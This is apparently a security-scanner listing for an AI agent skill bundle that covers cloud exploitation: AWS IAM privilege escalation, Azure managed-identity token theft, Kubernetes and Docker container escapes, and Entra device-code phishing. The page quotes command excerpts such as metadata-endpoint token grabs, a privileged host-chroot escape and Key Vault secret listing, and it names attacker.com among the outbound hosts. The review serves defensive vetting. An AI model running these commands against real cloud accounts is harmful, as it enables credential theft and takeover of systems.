← All skills
cloud-overview
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Cloud exploitation lane — AWS IAM privesc, S3 takeover, k8s RBAC abuse, Terraform state leaks, cloud metadata pivoting.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 124 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 19
aws sts get-caller-identity # who are you? - packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 38
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \ - packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 50
cat > pwn.py <<'EOF' - packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 69
aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE - packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 75
aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \ - packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 81
aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \ - packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md, line 90
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 20
TOKEN=$(curl -s -H Metadata:true \ - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 34
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \ - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 56
curl -s -H "Authorization: Bearer $TOKEN" \ - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 83
SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token) - packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md, line 20
cat /etc/os-release # base image - packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md, line 38
cat > Dockerfile <<'EOF' - packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md, line 19
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such' - packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md, line 29
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh - packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md, line 45
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest - packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md, line 48
docker.io/library/alpine:latest escape sh -c 'chroot /host'
and 104 more places
Sends data to these websites: 169.254.169.254, attacker.com, management.azure.com, vault.azure.net, $vault_name.vault.azure.net, login.microsoftonline.com, kubernetes.default.svc
The author does not mention this.
Found in 104 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 34
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \ - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 56
curl -s -H "Authorization: Bearer $TOKEN" \ - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 60
curl -s -H "Authorization: Bearer $TOKEN" \ - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 64
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r . - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 65
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq . - packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md, line 84
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \ - packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md, line 26
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata' - packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md, line 33
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods - packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md, line 124
curl -sk -H "Authorization: Bearer $TOKEN" \ - packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md, line 149
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' - packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md, line 21
curl -s -H "Authorization: Bearer $TOKEN" \ - packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md, line 49
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/token" \ - packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md, line 84
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ - packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md, line 96
curl -s -H "Authorization: Bearer $TOKEN" \ - packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md, line 107
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ - packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md, line 30
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \ - packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md, line 44
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
and 84 more places
Downloads and installs other software
The author does not mention this.
Found in 3 places.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'cloud-overview' ] || [ -L ~/.agents/skills/'cloud-overview' ]; then echo 'A skill folder named cloud-overview already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/cloud' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/cloud' ~/.agents/skills/'cloud-overview' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'cloud-overview' ~/.claude/skills/'cloud-overview' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 75 |
| 2026-11-08 | df87955 | 75 |